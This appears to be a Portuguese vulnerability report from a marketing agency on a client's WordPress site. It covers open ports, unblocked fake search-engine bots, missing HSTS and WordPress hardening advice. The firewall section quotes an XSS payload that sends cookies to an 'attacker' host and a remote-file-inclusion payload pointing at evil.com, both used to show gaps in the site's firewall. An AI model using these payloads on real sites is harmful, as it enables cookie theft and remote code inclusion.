
Manual de Segurança e privacidade
CONQUISTE MAIS
CLIENTES TODOS OS DIAS!

mercado binário The A.I. Agency

Nosso objetivo é gerar resultados.

Dentro do mercado digital, há inúmeras combinações e estratégias possíveis, mas poucas gerarão o resultado desejado pela sua empresa neste momento.

Por isso oferecemos nossa consultoria para elaborar uma estratégia digital que gere resultados rápidos e efetivos.

Como escolher a melhor estratégia?

Veja algumas marcas que já conquistaram objetivos com a MB

MAIS DE

300 clientes

SATISFEITOS

SYKES Brasil

ifm

VOLVO

DUCATI

São Vicente CURITIBA

InCORPORE CENTRO MÉDICO

Bry-Air

Serilon Crafts | I-CRAFT

REPROSET INDÚSTRIA GRÁFICA

eco new

SPY

panelinhafit

Análise de vulnerabilidades - resumo

- ★ Vulnerabilidades
- ★ Ameaças automatizadas
- ★ **Segurança do site**
- ★ Firewall
- ★ Recomendações

Responsabilidades

- Nem todo o evento de vírus podem ser provenientes de computadores, mas por vulnerabilidades no site e/ou servidor, nos slides abaixo serão descritas essas vulnerabilidades e possíveis soluções de tratamento.
- Vírus são propagados na rede por hackers/invasores, na aplicação de tecnologia ou o conhecimento técnico para suplantar algum tipo de problema ou obstáculo. (Para aprofundar mais sobre o assunto visite o site da Avast).

Vulnerabilidades

Este relatório fornece detalhes sobre os possíveis problemas relacionados à configuração incorreta do site e à sua proteção.

1 - A porta 80/tcp está aberta. Porta usada pelo serviço cloudflare.

Descrição

- Certificar que a porta 80/tcp seja usada apenas para oferecer suporte à emissão de certificados e redirecionamento para um protocolo seguro (ssl)

2 - A porta 8080/tcp está aberta.

- Os invasores podem explorar deficiências como credenciais fracas, ausência de autenticação de dois fatores ou até mesmo vulnerabilidades no aplicativo.
- **Solução**
- Considere fechar a porta 8080/tcp com um firewall para proteger os recursos internos do servidor.

Ameaças automatizadas

Ameaças automatizadas

A seguir possíveis problemas na segurança do site relacionados às ameaças automatizadas emitidas por bots.

1 - GoogleBot falso

Descrição:

Software de bot imita o mecanismo de pesquisa:
com user-agent Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/109.0.5414.101 Mobile Safari/537.36 (compatível; Googlebot/2.1; +http://www.google.com/bot.html) **não foi bloqueado pelo site** (código de resposta 403 esperado, mas 200 encontrado).

Fator de risco:

Bots maliciosos podem prejudicar e/ou sobrecarregar o site.

Solução:

Bloquear bots maliciosos.

.

Ameaças automatizadas

A seguir possíveis problemas na segurança do site relacionados às ameaças automatizadas emitidas por bots.

Bots Maliciosos que ***exploraram*** vulnerabilidades no site:

1. BingBot falso;
2. YandexBot falso;
3. Mail.RU Bot falso;
4. SeznamBot falso;
5. DuckDuckBot falso;
6. AppleBot falso;
7. Bot Ahrefs Pte. Ltda;
8. Synopsis;
9. Bot usado pela biblioteca Guzzle PHP;
10. bot usado pela biblioteca Golang HTTP;
11. bot usado pela biblioteca HTTP do Android.

Falhas de segurança

Falhas de segurança

Cabeçalhos relacionados à falha de segurança HTTP.

1. BStrict_Transport_Security:
2. HSTS não configurado no servidor HTTPS
3. O cabeçalho HTTP Strict-Transport-Security não está definido;

★ O cabeçalho HTTP Strict-Transport-Security informa ao navegador que ele nunca deve carregar um site usando HTTP e deve converter automaticamente todas as tentativas de acessar o site usando solicitações HTTP para HTTPS.

Risco:

Os usuários do site não estão protegidos contra certas categorias de ataques MITM.

Solução:

Adicione o cabeçalho Strict-Transport-Security na configuração do seu servidor web.

Firewall

Firewall

Firewall vulnerável a ataques do lado do servidor

1. Firewall é vulnerável a ataques Cross-Site Scripting (XSS);

Exemplo: payload em uma URL - <script/test>let test=document;location=`http://attacker?cookie=${test%RND%.cookie}`;</script <a>&password1=1&enter=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+%D0%B7%D0% B0%D0%BF%D1%80%D0%BE%D1%81

Fator de risco:

Um WAF mal configurado é ainda pior do que um ausente, pois cria uma falsa sensação de segurança.

Solução:

Configure WAF com as melhores práticas, instale as atualizações mais recentes e atualize os conjuntos de regras do WAF para a versão mais recente.

Firewall

Firewall vulnerável a ataques do lado do servidor

Firewall é vulnerável a ataques de inclusão remota de arquivos.

Exemplo: de carga em um ARGS: page=php://filter/read=string.rot13/resource=http://evil.com/index.php

Fator de risco:

Um WAF mal configurado é ainda pior do que um ausente, pois cria uma falsa sensação de segurança.

Solução:

Configure WAF com as melhores práticas, instale as atualizações mais recentes e atualize os conjuntos de regras do WAF para a versão mais recente.

Recomendações

Recomendações

1. Não utilizar o nome “Admin” como usuário administrador;
2. Usar senhas fortes;
3. Alterar a página padrão de login: /wp-admin ou /wp-login;
4. Utilizar plugins que estabeleçam uma limitação no número de tentativas de acesso;
5. Também com o auxílio de plugins, adotar a autenticação de dois fatores;
6. Excluir do site as partes que não estejam sendo realmente utilizadas, pois estas podem estar funcionando como portas de entrada para invasores;
7. Utilizar firewalls;
8. Manter versões atualizadas do WordPress;
9. Proteger arquivos importantes e bastante visados, como o wp-config.php, que contém
10. todas as configurações da instalação WordPress e do acesso ao banco de dados;
11. Ocultar a versão do WordPress, de forma a dificultar que criminosos identifiquem determinadas características da construção do site.

Recomendações

1. Definindo proteções no arquivo .htaccess
2. O arquivo “.htaccess” geralmente fica oculto na raiz do lado do servidor. No arquivo “.htaccess” é possível definir parâmetros como:
3. O bloqueio a tentativas de acesso direto ao arquivo wp-config.php;
4. O bloqueio contra a tentativa de injeção de código SQL;
5. A definição dos IP’s autorizados a fazer login;
6. O bloqueio a endereços de IP específicos.
7. WordPress 6.1.1 , é uma versão desatualizada e insegura.


mercado binário
The A.I. Agency
OBRIGADO
thank you